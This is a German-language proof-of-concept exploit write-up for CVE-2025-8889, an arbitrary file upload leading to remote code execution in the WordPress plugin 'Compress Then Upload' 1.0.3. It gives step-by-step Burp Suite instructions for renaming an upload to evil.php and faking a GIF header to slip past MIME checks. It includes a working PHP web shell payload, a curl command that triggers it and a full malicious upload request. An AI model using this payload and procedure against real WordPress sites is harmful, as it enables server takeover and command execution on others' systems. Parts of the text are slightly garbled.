
Proof-of-Concept-Exploit für CVE-2025-8889: beliebiger Datei-Upload zu RCE im WordPress Compress Then Upload Plugin 1.0.3. Enthält eine schrittweise PoC unter Verwendung von Burp Suite, um die MIME-Validierung zu umgehen und PHP-Code auszuführen.
Datum: 2025-07-23
Exploit-Autor: Muhammed Çelik
Hersteller-Homepage: https://wordpress.com/plugins/compress-then-upload
Software-Link: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Version: 1.0.3
Getestet auf: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
Das WordPress-Plugin „Compress Then Upload Images“ validiert Dateierweiterungen und MIME-Typen bei Bild-Uploads über seine Medien-Upload-Schnittstelle nicht ordnungsgemäß. Obwohl clientseitige Validierungen vorhanden sind, können diese durch Abfangen und Ändern der Upload-Anfrage umgangen werden.
Ein authentifizierter Benutzer mit Medien-Upload-Berechtigungen (Author-Rolle oder höher) kann dies ausnutzen, indem er:
Schritt 1: Eine normale Bilddatei vorbereiten
Erstellen Sie eine normale Bilddatei, z. B. regular.jpg (jede gültige JPG-Datei).
Schritt 2: Hochladen des normalen Bildes über das WordPress-Admin-Panel
regular.jpg normal hoch.Schritt 3: Abfangen und Ändern der Upload-Anfrage mit Burp Suite
filename="regular.jpg" → filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Hinweis: Das `GIF89a;` imitiert einen gültigen GIF-Header, um schwache Bildvalidierungen zu umgehen.
Behalten Sie den Content-Type als `image/jpeg` bei.
Leiten Sie die modifizierte Anfrage an den Server weiter.
**Schritt 4: Auslösen der hochgeladenen Webshell**
Wenn der Upload erfolgreich ist, wird die PHP-Datei im Uploads-Verzeichnis gespeichert, z. B.:
http://target-site.com/wp-content/uploads/2025/07/evil.php
Zugriff über Browser oder curl:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
**Beispiel einer bösartigen Upload-Anfrage (Burp Suite)**
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>